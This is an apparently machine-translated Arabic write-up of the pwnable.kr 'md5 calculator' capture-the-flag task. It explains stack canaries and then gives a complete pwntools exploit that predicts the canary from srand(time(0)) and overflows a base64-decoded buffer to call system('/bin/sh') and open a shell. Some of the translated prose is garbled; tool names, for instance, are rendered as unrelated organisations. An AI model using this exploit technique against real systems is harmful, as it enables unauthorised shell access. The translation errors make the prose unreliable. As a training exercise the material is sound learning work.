في هذه المقالة ، سنقوم بحل المهمة الثالثة والعشرين من موقع
pwnable.kr ، ومعرفة ما هو الكناري المكدس وتوصيل libc في بيثون.
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
كومة الكناري
الكناري هي القيم المعروفة التي يتم وضعها بين المخزن المؤقت والبيانات التحكم على المكدس لمراقبة تجاوزات المخزن المؤقت. بعد تجاوز سعة المخزن المؤقت ، عادةً ما تكون أول بيانات تالفة عبارة عن الكناري. وبالتالي ، سيتم التحقق من قيمة الكناري ، وإذا فشل التحقق ، إشارة إلى تجاوز سعة المخزن المؤقت. هناك ثلاثة أنواع من الكناري:
- المنهي. تم بناء الكناري من النهايات الفارغة ، CR ، LF و -1. نتيجة لذلك ، يجب على المهاجم كتابة حرف فارغ قبل كتابة عنوان المرسل لتجنب تغيير الكناري. هذا يمنع الهجمات باستخدام strcpy () وغيرها من الأساليب التي ترجع عند نسخ حرف فارغ ، في حين أن الكناري معروف بأنه غير مرغوب فيه.
- عشوائية. ولدت بشكل عشوائي. عادة ما يتم إنشاء الكناري عشوائي أثناء تهيئة البرنامج وتخزينها في متغير عمومي. عادة ما يتم استكمال هذا المتغير بصفحات غير معيّنة ، لذا فإن محاولة قراءتها باستخدام أي حيل تستخدم أخطاء للقراءة من ذاكرة الوصول العشوائي تؤدي إلى حدوث خطأ تجزئة لإنهاء البرنامج.
- XOR عشوائي. الكناري العشوائية التي تتشاجر مع بيانات التحكم. وبالتالي ، بمجرد انسداد بيانات الكناري أو التحكم ، ستكون قيمة الكناري غير صحيحة. لديهم نفس نقاط الضعف مثل الكناري العشوائية ، إلا أن طريقة "القراءة من المكدس" للحصول على الكناري معقدة أكثر. يجب أن يتلقى المهاجم بيانات الكناري والخوارزمية والتحكم من أجل تجديد الكناري الأصلي اللازم لتزوير الحماية.
حل وظيفة آلة حاسبة md5
نواصل القسم الثاني. سأقول على الفور أنه أكثر صعوبة من الأول ولن يتم تزويدنا بالكود المصدري للتطبيقات. لا تنسى المناقشة
هنا . لنبدأ.
انقر على أيقونة مع آلة حاسبة توقيع md5. يتم منحنا العنوان والمنفذ للاتصال والبرنامج نفسه.

قم بتنزيل كل ما يقدمونه لنا ، تحقق من الملف الثنائي.

هذا هو قزم 32 بت مع مكدس الكناري وغير قابلة للتنفيذ. نحن فك تجميع في المؤسسة الدولية للتنمية برو.

يحتوي البرنامج على فحص captcha مدمج. نرى دالتين تعتبران وظيفتين مثيرتين للاهتمام: my_hash () و process_hash (). لنبدأ مع أول واحد.

دعنا نعيد تعريف أنواع المتغيرات ونجعل من السهل تحليل الكود:

وبالتالي ، فإن وظيفة إرجاع بعض عدد عشوائي. في نفس الوقت ، v3 هي البيانات الموجودة على العنوان EBP-0xC. دعونا نلقي نظرة على وظيفة أخرى.

هنا ، يحصل المتغير v4 على القيمة عند العنوان EBP-0xC ، ثم يتشاجر عند الخروج من الوظيفة بهذه القيمة. بعد ذلك ، يتم تخصيص 512 بايت للمتغير v3 ، تتم قراءة إدخال لوحة المفاتيح في متغير g_buf. بعد ذلك ، يتم فك تشفير السلسلة من g_buf في Base64 وكتابتها إلى v3. من v3 md5 يتم حساب التجزئة. وبالتالي ، لا يقتصر الإدخال إلى g_buf والنسخ إلى v3 ، وبالتالي هناك تجاوز سعة المخزن المؤقت! دعونا نلقي نظرة على المكدس.

المتغير v3 هو الكناري المكدس الموجود بعد المخزن المؤقت. يدعو البرنامج أيضا وظيفة النظم. حسنًا ، سنقوم بإنشاء قالب للاستغلال.
from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive()
بادئ ذي بدء ، دعونا ننظر إلى الحمولة. يجب أن ندعو وظيفة النظام مع المعلمة "/ bin / sh". ولكن نظرًا لأن الحزمة غير قابلة للتنفيذ ، فسنقوم باستدعاء وظيفة النظام ، ونمرر التحكم إلى عنوانه في البرنامج ، وكمعلمة ، العنوان إلى السطر "/ bin / sh" ، الذي سنكتبه إلى g_buf.
وهكذا (انظر المكدس): تحتاج إلى كتابة 512 بايت من القمامة ، ثم 4 بايت من قيمة الكناري ، ثم 12 بايت آخر من القمامة. الآن للتجديد ، يتعين علينا تحديد عنوان وظيفة النظام (4 بايت) ، وعنوان السلسلة "/ bin / sh" (4 بايت) ، والسلسلة "/ bin / sh" نفسها.
الآن العثور على المجهولين: عنوان استدعاء النظام.

هذا هو 0x8049187. وعنوان السلسلة هو "bin / sh". للقيام بذلك ، نحتاج إلى إضافة عدد البايتات إلى عنوان g_buf إلى السطر "/ bin / sh" ، مع مراعاة ترميز base64 - وهذا يمثل 4/3 من القيمة الأصلية.

بمعنى ، عنوان السطر: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. تعويض الحمولة.
payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00"
يبقى أن تجد الكناري. كما اكتشفنا ، فإنه يلخص مع القيم العشوائية في وظيفة my_hash () ، ونتيجة لذلك يعطينا الكناري. ويستخدم srand (الوقت (0)) كبذرة لوظيفة rand. أي إذا كررنا الإجراء في استغلالنا ، ثم طرح القيمة الناتجة من ملف تعريف الارتباط الذي تم إرساله ، فسنجد الكناري. استدعاء راند () من libc في بيثون.
from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff
هذا كل شيء. الرمز الكامل يشبه هذا.
from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive()
لقد قمت بتشغيله عدة مرات ولم أعمل ، ثم أدركت أنه بسبب سرعة الإنترنت وفارق التوقيت ، لا تتطابق نتيجة راند (). بدأت على الخادم.

نحصل على العلم المطلوب. يمكنك الانضمام إلينا على
Telegram .